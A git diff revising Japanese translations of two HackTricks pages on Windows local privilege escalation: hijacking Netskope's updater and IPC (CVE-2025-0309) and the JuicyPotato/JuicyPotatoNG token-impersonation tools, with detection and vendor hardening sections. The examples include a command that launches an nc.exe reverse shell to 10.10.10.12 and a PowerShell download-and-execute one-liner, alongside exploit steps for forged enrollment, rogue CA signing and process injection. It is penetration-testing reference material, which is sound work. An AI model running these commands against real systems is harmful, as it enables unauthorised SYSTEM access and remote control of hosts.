b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# エンタープライズのAuto-Updatersと特権IPCの悪用(例:Netskope stAgentSvc) +# エンタープライズ Auto‑Updaters と Privileged IPC の悪用 (e.g., Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -このページでは、低障壁のIPCインターフェースと特権の更新フローを公開するエンタープライズのエンドポイントエージェントやアップデーターに見られる、Windowsのローカル権限昇格チェーンのクラスを一般化します。代表的な例は Netskope Client for Windows < R129 (CVE-2025-0309) で、低権限ユーザーが攻撃者管理下のサーバーへの登録を強制し、その後 SYSTEM サービスがインストールする悪意あるMSIを配信できます。 +このページでは、低摩擦な IPC サーフェスと特権付きのアップデートフローを公開しているエンタープライズ向けエンドポイントエージェントやアップデータに見られる、Windows のローカル権限昇格チェーンの一群を一般化して説明します。代表例として Netskope Client for Windows < R129 (CVE-2025-0309) があり、低権限ユーザーが攻撃者管理下のサーバーへの登録(enrollment)を強制し、その後 SYSTEM サービスがインストールする悪意のある MSI を配布できます。 -再利用可能な主要な考え方: -- 特権サービスのlocalhost IPCを悪用して、攻撃者サーバーへの再登録や再構成を強制する。 -- ベンダーの更新エンドポイントを実装し、不正なTrusted Root CAを配布して、updaterを悪意ある「署名済み」パッケージに向ける。 -- 弱い署名者チェック(CN allow‑lists)、オプションのダイジェストフラグ、緩いMSIプロパティを回避する。 -- IPCが「暗号化」されている場合、レジストリに保存された世界読み取り可能なマシン識別子からキー/IVを導出する。 -- サービスがイメージパス/プロセス名で呼び出し元を制限している場合、allow‑listedなプロセスに注入するか、サスペンドで起動して最小限のスレッドコンテキストパッチでDLLをブートストラップする。 +再利用可能な主なアイデア: +- 特権サービスの localhost IPC を悪用して、攻撃者サーバーへの再登録や再設定を強制する。 +- ベンダーの update endpoints を実装し、rogue Trusted Root CA を配布して、updater を悪意のある “signed” パッケージへ向ける。 +- 弱い signer チェック(CN allow‑lists)、任意の digest フラグ、および緩い MSI プロパティを回避する。 +- IPC が “encrypted” 場合、registry に保存された world‑readable な機械識別子から key/IV を導出する。 +- サービスが image path/process name によって呼び出し元を制限する場合は、allow‑listed プロセスへインジェクトするか、プロセスを suspended で生成して最小限の thread‑context patch により DLL をブートストラップする。 --- -## 1) localhost IPC を介した攻撃者サーバーへの登録強制 +## 1) localhost IPC を介して攻撃者サーバーへの登録を強制する -多くのエージェントは、ユーザーモードのUIプロセスを提供しており、JSONを使ってlocalhostのTCP経由でSYSTEMサービスと通信します。 +多くのエージェントはユーザーモードの UI プロセスを同梱し、JSON を使って SYSTEM サービスと localhost TCP 上で通信します。 -Netskopeでの観測: +Netskope での観測例: - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN -エクスプロイトの流れ: -1) バックエンドホスト(例:AddonUrl)を制御するクレームを持つJWTの登録トークンを作成します。署名が不要になるようにalg=Noneを使用します。 -2) JWTとテナント名を使ってプロビジョニングコマンドを呼び出すIPCメッセージを送信します: +Exploit flow: +1) claims でバックエンドホストを制御できる JWT 登録トークンを作成する(例: AddonUrl)。署名は不要なので alg=None を使用する。 +2) provisioning コマンドを呼び出す IPC メッセージにあなたの JWT と tenant 名を載せて送信する: ```json { "148": { @@ -31,86 +31,86 @@ Netskopeでの観測: } } ``` -3) サービスが登録/設定のためにあなたの悪意あるサーバーにアクセスし始める。例: +3) サービスが登録/構成取得のためにあなたの不正なサーバーへアクセスし始める。例: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Notes: -- 呼び出し元の検証が path/name‑based の場合、リクエストは許可リストに載った vendor binary から発信すること(§4参照)。 +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). --- -## 2) アップデートチャネルをハイジャックして SYSTEM としてコードを実行する +## 2) Hijacking the update channel to run code as SYSTEM -クライアントがあなたのサーバーと通信したら、期待されるエンドポイントを実装し、攻撃者の MSI に誘導する。典型的なシーケンス: +Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence: -1) /v2/config/org/clientconfig → 非常に短い更新間隔の JSON 設定を返す。例: +1) /v2/config/org/clientconfig → 非常に短い更新間隔を持つJSON configを返す。例: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Return a PEM CA certificate. サービスはそれをローカル マシンの Trusted Root ストアにインストールします。 -3) /v2/checkupdate → 悪意のある MSI と偽のバージョンを指すメタデータを提供します。 +2) /config/ca/cert → PEM CA certificate を返す。サービスはそれを Local Machine Trusted Root store にインストールする。 +3) /v2/checkupdate → 悪意のある MSI と偽のバージョンを指すメタデータを返す。 Bypassing common checks seen in the wild: -- Signer CN allow‑list: サービスは Subject CN が “netSkope Inc” または “Netskope, Inc.” と等しいかだけをチェックするかもしれません。あなたの rogue CA はその CN を持つ leaf を発行して MSI に署名できます。 -- CERT_DIGEST property: CERT_DIGEST という名前の無害な MSI プロパティを含める。インストール時に強制されないことが多いです。 -- Optional digest enforcement: config フラグ (例: check_msi_digest=false) が追加の暗号検証を無効にします。 +- Signer CN allow‑list: サービスは Subject CN が “netSkope Inc” または “Netskope, Inc.” と等しいかだけを確認する場合がある。あなたの rogue CA はその CN を持つ leaf を発行して MSI に署名できる。 +- CERT_DIGEST property: CERT_DIGEST という名前の無害な MSI プロパティを含める。インストール時に強制されない。 +- Optional digest enforcement: 設定フラグ(例: check_msi_digest=false)が追加の暗号検証を無効にする。 -結果: SYSTEM サービスは C:\ProgramData\Netskope\stAgent\data\*.msi からあなたの MSI をインストールし、NT AUTHORITY\SYSTEM として任意のコードを実行します。 +Result: SYSTEM サービスは C:\ProgramData\Netskope\stAgent\data\*.msi からあなたの MSI をインストールし、NT AUTHORITY\SYSTEM として任意のコードを実行する。 --- ## 3) Forging encrypted IPC requests (when present) -R127 以降、Netskope は IPC JSON を encryptData フィールド(Base64 に見える)でラップしていました。リバースで、任意のユーザーが読み取れるレジストリ値から派生した key/IV を使う AES であることが判明しました: +R127 以降、Netskope は IPC JSON を Base64 に見える encryptData フィールドでラップしていた。リバースでは、AES がレジストリ値から派生した key/IV を使っていることが判明した(これらは任意のユーザーで読み取り可能): - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -攻撃者は暗号化を再現して標準ユーザーから有効な暗号化コマンドを送信できます。一般的なヒント: エージェントが突然 IPC を「暗号化」し始めたら、HKLM にある device ID、product GUID、install ID などを探してください。 +攻撃者はこの暗号化を再現して標準ユーザーから有効な暗号化コマンドを送信できる。一般的なヒント: エージェントが突然 IPC を「暗号化」し始めたら、HKLM 以下の device ID、product GUID、install ID 等を鍵材として探せ。 --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -一部のサービスは TCP 接続の PID を解決し、イメージのパス/名前を Program Files 以下の allow‑list にあるベンダーのバイナリ(例: stagentui.exe, bwansvc.exe, epdlp.exe)と比較してピアを認証しようとします。 +一部のサービスは TCP 接続の PID を解決してピアを認証し、Program Files 配下の allow‑listed ベンダー実行ファイル(例: stagentui.exe, bwansvc.exe, epdlp.exe)のイメージパス/名前と比較する。 -現実的なバイパス手法は二つ: +実用的なバイパス例: - allow‑listed プロセス(例: nsdiag.exe)への DLL injection を行い、その内部から IPC をプロキシする。 -- allow‑listed バイナリを suspended で起動し、CreateRemoteThread を使わずにプロキシ DLL をブートストラップしてドライバーが強制する改ざん防止ルールを満たす(§5 を参照)。 +- allow‑listed バイナリを CREATE_SUSPENDED で起動し、CreateRemoteThread を使わずにプロキシ DLL をブートストラップして、ドライバーによる改ざん防止ルールを満たす(see §5)。 --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -製品はしばしば minifilter/OB callbacks ドライバー(例: Stadrv)を同梱し、保護されたプロセスのハンドルから危険な権限を削ります: -- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME -- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE +製品はしばしば minifilter/OB callbacks ドライバー(例: Stadrv)を同梱し、保護されたプロセスのハンドルから危険な権限を取り除く: +- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME を削除 +- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE に制限 -これらの制約を尊重する信頼できるユーザーモードローダー: +これらの制約を尊重する信頼できる user‑mode ローダーの手順: 1) ベンダーのバイナリを CREATE_SUSPENDED で CreateProcess する。 -2) 取得可能なハンドルを取る: プロセスに対して PROCESS_VM_WRITE | PROCESS_VM_OPERATION、スレッドに対しては THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(または既知の RIP にコードをパッチするなら THREAD_RESUME のみでも可)。 -3) ntdll!NtContinue(またはその他の早期に確実にマップされるスラスト)を上書きし、あなたの DLL パスで LoadLibraryW を呼び、その後戻る小さなスタブに置き換える。 -4) ResumeThread してプロセス内でスタブを発動させ、DLL をロードさせる。 +2) まだ取得可能なハンドルを得る: プロセスに対して PROCESS_VM_WRITE | PROCESS_VM_OPERATION、スレッドに対して THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(または既知の RIP にコードパッチを当てるなら THREAD_RESUME のみ)。 +3) ntdll!NtContinue(またはその他の早期に確実にマップされるスローシンク)を、あなたの DLL パスで LoadLibraryW を呼び、その後ジャンプバックする小さなスタブで上書きする。 +4) ResumeThread してプロセス内でスタブをトリガーし、DLL をロードさせる。 -既に保護されたプロセスに対して PROCESS_CREATE_THREAD や PROCESS_SUSPEND_RESUME を使っていない(あなたがプロセスを作成した)ため、ドライバーのポリシーは満たされます。 +あなたは既に保護されたプロセスに対して PROCESS_CREATE_THREAD や PROCESS_SUSPEND_RESUME を使っていない(自分で作成した)ため、ドライバーのポリシーは満たされる。 --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) は rogue CA、悪意のある MSI 署名、自動で必要なエンドポイントを提供する(/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate)。 -- UpSkope は任意(オプションで AES‑encrypted)IPC メッセージを作成するカスタム IPC クライアントで、suspended‑process 注入を含み、allow‑listed バイナリから発信させる機能を持ちます。 +- NachoVPN (Netskope plugin) は rogue CA、悪意のある MSI の署名、自動化されたエンドポイント (/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate) の提供を自動化する。 +- UpSkope は任意(オプションで AES 暗号化)の IPC メッセージを作成できるカスタム IPC クライアントで、allow‑listed バイナリから発信するための suspended‑process 注入も含む。 --- ## 7) Detection opportunities (blue team) -- Local Machine Trusted Root への追加を監視する。Sysmon + registry‑mod eventing(SpecterOps のガイダンス参照)が有効です。 -- エージェントのサービスから C:\ProgramData\\\data\*.msi のようなパスで開始される MSI 実行をフラグする。 -- エージェントのログをレビューして予期しない enrollment hosts/tenants を探す。例: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant の異常や provisioning msg 148 を確認する。 -- 期待される署名済みバイナリでない、または異常な子プロセスツリーから発生する localhost IPC クライアントをアラートする。 +- Local Machine Trusted Root への追加を監視する。Sysmon + registry‑mod eventing(SpecterOps のガイダンス参照)が有効。 +- C:\ProgramData\\\data\*.msi のようなパスからエージェントのサービスによって開始された MSI 実行をフラグ付けする。 +- エージェントログを確認して予期しない enrollment ホスト/テナントを探す。例: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant の異常や provisioning msg 148 を確認。 +- 期待される署名済みバイナリではない、あるいは通常とは異なる子プロセスツリーから発生する localhost IPC クライアントをアラートする。 --- ## Hardening tips for vendors -- enrollment/update ホストを厳格な allow‑list に束縛し、clientcode で信頼されていないドメインを拒否する。 -- 画像パス/名前チェックの代わりに OS プリミティブ(ALPC security、named‑pipe SIDs)で IPC ピアを認証する。 -- 秘密情報を world‑readable な HKLM に置かない。IPC を暗号化する必要があるなら、保護されたシークレットから鍵を導出するか、認証済みチャネルでネゴシエートすること。 -- updater をサプライチェーンの攻撃面として扱う: 信頼する CA への完全なチェーンを要求し、パッケージ署名をピン留めした鍵で検証し、設定で検証が無効になっている場合は fail closed する。 +- enrollment/update ホストを厳格な allow‑list に縛り、clientcode 内で信頼できないドメインを拒否する。 +- IPC ピアを image path/name チェックではなく OS のプリミティブ(ALPC security、named‑pipe SIDs 等)で認証する。 +- 秘密情報を world‑readable な HKLM に置かないこと。もし IPC を暗号化するなら、保護されたシークレットから鍵を派生するか、認証済みチャネル上でネゴシエートする。 +- updater をサプライチェーン上の攻撃面として扱う: あなたが管理する信頼できる CA への完全なチェーンを要求し、パッケージ署名をピン留めした鍵に対して検証し、設定で検証が無効化されている場合は fail closed する。 ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index c37ea6564..b5812c173 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,58 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato はレガシーです。一般的に Windows 10 1803 / Windows Server 2016 までのバージョンで動作します。Windows 10 1809 / Server 2019 以降で導入された Microsoft のハードニングによって元の手法は動作しなくなりました。これら以降のビルドでは PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato などのモダンな代替手段を検討してください。最新のオプションと使用法については下のページを参照してください。 +> [!WARNING] > JuicyPotatoはレガシーです。通常はWindows 10 1803 / Windows Server 2016までのバージョンで動作します。MicrosoftがWindows 10 1809 / Server 2019以降で導入した変更により元の手法は破壊されました。これら以降のビルドでは、PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotatoなどの現代的な代替手段を検討してください。最新のオプションと使用法については下のページを参照してください。 {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (ゴールデン特権の悪用) -_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ +_甘くしたバージョンの_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, 少しのjuiceを加えた、すなわち **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### juicypotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます -### Compatibility quick notes +### 互換性 — 簡単な注意点 -- 現在のコンテキストが SeImpersonatePrivilege または SeAssignPrimaryTokenPrivilege を持っている場合、Windows 10 1803 および Windows Server 2016 までで安定して動作します。 -- Windows 10 1809 / Windows Server 2019 以降での Microsoft によるハードニングによって破壊されています。これらのビルドでは上で挙げた代替手段を優先してください。 +- 現在のコンテキストが SeImpersonatePrivilege または SeAssignPrimaryTokenPrivilege を持っている場合、Windows 10 1803 と Windows Server 2016 まで安定して動作します。 +- Windows 10 1809 / Windows Server 2019 以降での Microsoft のハードニングにより動作しません。これらのビルドでは上記の代替手段を推奨します。 ### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) が `127.0.0.1:6666` で MiTM リスナーを持ち、かつ `SeImpersonate` または `SeAssignPrimaryToken` 権限がある場合に基づく権限昇格チェーンを利用します。Windows のビルドレビューの際に、`BITS` が意図的に無効化され、ポート `6666` が使用されている設定を見つけました。 -We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. +そこで [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化しました。**Juicy Potatoの登場です**。 -> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. +> 理論については [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) を参照し、リンクと参照のチェーンを辿ってください。 -我々は `BITS` 以外にも悪用できる COM サーバが複数存在することを発見しました。これらは以下を満たす必要があります: +我々は、`BITS` 以外にも悪用できるいくつかのCOMサーバーが存在することを発見しました。これらは次の条件を満たす必要があります: -1. 現在のユーザからインスタンス化可能であること(通常はインパーソネーション権限を持つ“service user”) -2. `IMarshal` インターフェイスを実装していること -3. エレベートされたユーザ(SYSTEM、Administrator、…)として実行されていること +1. 現在のユーザーによってインスタンス化可能であること。通常はインパーソネーション権限を持つ“service user”(サービスユーザー)。 +2. `IMarshal` インターフェースを実装していること +3. SYSTEM、Administrator などの昇格したユーザーとして実行されていること -いくつかのテスト後、複数の Windows バージョン上で [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) の広範なリストを取得・テストしました。 +いくつかのテストの後、複数のWindowsバージョンで[interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) の広範なリストを取得してテストしました。 ### Juicy details -JuicyPotato により以下が可能です: +JuicyPotatoは次を可能にします: -- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._ -- **COM Listening port** _定義したい COM リッスンポートを指定できます(マシュアルされたハードコーディングの 6666 の代わりに)_ -- **COM Listening IP address** _サーバを任意の IP にバインドできます_ -- **Process creation mode** _インパーソネートされたユーザの権限に応じて以下から選べます:_ -- `CreateProcessWithToken` (needs `SeImpersonate`) -- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) -- `both` -- **Process to launch** _エクスプロイトが成功した場合に起動する実行ファイルやスクリプトを指定できます_ +- **Target CLSID** _任意の CLSID を選択できます._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _で OS ごとに整理されたリストが見つかります。_ +- **COM Listening port** _好みの COM リスニングポートを定義できます(マシュアルされたハードコード 6666 の代わりに)_ +- **COM Listening IP address** _サーバーを任意の IP にバインドできます_ +- **Process creation mode** _インパーソネートされたユーザーの権限に応じて次から選択できます:_ + - `CreateProcessWithToken` (needs `SeImpersonate`) + - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) + - `both` +- **Process to launch** _エクスプロイトが成功した場合に実行ファイルやスクリプトを起動します_ - **Process Argument** _起動するプロセスの引数をカスタマイズできます_ -- **RPC Server address** _ステルスなアプローチのために外部の RPC サーバへ認証することができます_ -- **RPC Server port** _外部サーバへ認証したいがファイアウォールがポート `135` をブロックしている場合に便利です…_ -- **TEST mode** _主にテスト目的、すなわち CLSID のテスト用です。DCOM を作成しトークンのユーザを表示します。テストについては_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) +- **RPC Server address** _ステルスなアプローチとして外部の RPC サーバーに対して認証することができます_ +- **RPC Server port** _外部サーバーに認証したいがファイアウォールでポート `135` がブロックされている場合に有用です…_ +- **TEST mode** _主にテスト目的、つまり CLSID のテスト用です。DCOM を作成しトークンのユーザーを出力します。テストについては_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)_ ### Usage ``` @@ -74,28 +74,28 @@ Optional args: ``` ### 最終的な考察 -[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -ユーザーに `SeImpersonate` または `SeAssignPrimaryToken` 権限がある場合、あなたは **SYSTEM** です。 +ユーザに `SeImpersonate` または `SeAssignPrimaryToken` 権限があれば、あなたは **SYSTEM** です。 -これらすべての COM サーバーの悪用を完全に防ぐことはほぼ不可能です。`DCOMCNFG` を使ってこれらオブジェクトの権限を変更することを検討するかもしれませんが、かなり難しいでしょう。 +これらすべての COM Servers の悪用を完全に防ぐことはほとんど不可能です。`DCOMCNFG` を使ってこれらのオブジェクトの権限を変更することを考えるかもしれませんが、うまくいくとは限らず非常に困難でしょう。 -実際の解決策は、`* SERVICE` アカウントで動作する機密性の高いアカウントおよびアプリケーションを保護することです。`DCOM` を停止すれば確かにこのエクスプロイトを抑制できますが、基盤となる OS に深刻な影響を与える可能性があります。 +実際の解決策は、`* SERVICE` アカウントで実行される機密アカウントやアプリケーションを保護することです。`DCOM` を停止すればこのエクスプロイトを抑制できる可能性はありますが、基盤となる OS に重大な影響を与える可能性があります。 -出典: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) -JuicyPotatoNG は、以下を組み合わせることで、最新の Windows 上に JuicyPotato スタイルのローカル権限昇格を再導入します: -- 選択したポート上のローカル RPC サーバーへの DCOM OXID 解決を行い、古いハードコードされた 127.0.0.1:6666 リスナーを回避します。 -- SSPI フックを使い、RpcImpersonateClient を必要とせずに受信する SYSTEM 認証をキャプチャしてなりすます機能。これにより SeAssignPrimaryTokenPrivilege のみが存在する場合でも CreateProcessAsUser が可能になります。 -- PrintNotify / ActiveX Installer Service クラスをターゲットにする際に以前必要だった INTERACTIVE グループ要件など、DCOM アクティベーション制約を満たすためのトリック。 +JuicyPotatoNG は、以下を組み合わせることで modern Windows 上に JuicyPotato スタイルの local privilege escalation を再導入します: +- DCOM OXID resolution を選択したポート上のローカル RPC server に向けることで、古いハードコードされた 127.0.0.1:6666 リスナーを回避。 +- SSPI hook を使って、`RpcImpersonateClient` を必要とせずに着信する SYSTEM 認証をキャプチャして偽装。これにより、`SeAssignPrimaryTokenPrivilege` のみがある場合でも `CreateProcessAsUser` が可能になる。 +- DCOM アクティベーションの制約(例: PrintNotify / ActiveX Installer Service クラスを狙う際に以前必要だった INTERACTIVE-group 要件)を満たすためのトリック。 -重要な注意点(ビルドごとに挙動が変化しています): -- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. -- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. +重要な注意(ビルドによって挙動が変化): +- September 2022: 初期の手法は、“INTERACTIVE trick” を使用してサポートされている Windows 10/11 および Server ターゲットで動作しました。 +- January 2023 update from the authors: Microsoft は後に INTERACTIVE trick をブロックしました。異なる CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) により再びエクスプロイトが可能になりますが、投稿によるとこれは Windows 11 / Server 2022 のみで有効です。 -基本的な使い方(詳細なフラグはヘルプ参照): +基本的な使用法(詳細はヘルプのフラグを参照): ``` JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # Useful helpers: @@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Windows 10 1809 / Server 2019 を対象としていて classic JuicyPotato がパッチ適用されている場合は、上部にリンクされている代替(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)を優先してください。NG はビルドやサービスの状態によっては状況依存です。 +classic JuicyPotato がパッチ済みの Windows 10 1809 / Server 2019 を対象とする場合、ページ上部にリンクされている代替(RoguePotato、PrintSpoofer、EfsPotato/GodPotato など)を優先してください。NG はビルドやサービスの状態によって状況依存になる場合があります。 ## 例 -注: 試す CLSID の一覧は [this page](https://ohpe.it/juicy-potato/CLSID/) を参照してください。 +注: 試す CLSIDs の一覧については [this page](https://ohpe.it/juicy-potato/CLSID/) を参照してください。 -### nc.exe を使った reverse shell を取得する +### nc.exe のリバースシェルを取得する ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -126,27 +126,27 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Launch a new CMD (if you have RDP access) +### 新しい CMD を起動する(RDP アクセスがある場合) ![](<../../images/image (300).png>) -## CLSID Problems +## CLSID の問題 -多くの場合、JuicyPotato が使用するデフォルトの CLSID は **機能せず**、exploit は失敗します。通常、**動作する CLSID** を見つけるには複数回の試行が必要です。特定のオペレーティングシステムで試す CLSID の一覧を取得するには、次のページを参照してください: +多くの場合、JuicyPotato が使用するデフォルトの CLSID は **動作しない** ことがあり、exploit が失敗します。通常、**動作する CLSID** を見つけるには複数回の試行が必要です。特定のオペレーティングシステム用に試す CLSID の一覧を入手するには、次のページを参照してください: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) -### **Checking CLSIDs** +### **CLSID の確認** -まず、juicypotato.exe に加えていくつかの実行可能ファイルが必要です。 +まず、juicypotato.exe 以外のいくつかの実行可能ファイルが必要です。 -[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) をダウンロードして PS セッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) をダウンロードして実行します。そのスクリプトはテスト用の CLSID 候補リストを作成します。 +Join-Object.ps1 をダウンロードして PS セッションに読み込み、GetCLSID.ps1 をダウンロードして実行します。そのスクリプトはテスト用の候補 CLSID の一覧を作成します。 -次に [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(CLSID リストと juicypotato 実行ファイルへのパスを変更してください) をダウンロードして実行します。これにより全ての CLSID を順に試し、**ポート番号が変わったときは、その CLSID が動作したことを意味します**。 +次に test_clsid.bat をダウンロードし(CLSID リストおよび juicypotato 実行ファイルへのパスを変更してください)、実行します。これが各 CLSID を順に試行し、**ポート番号が変わったときにその CLSID が動作したことを意味します**。 -パラメータ -c を使用して、動作する CLSID を**確認**してください +**-c パラメータを使用して動作する CLSID を確認してください** -## References +## 参考 - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)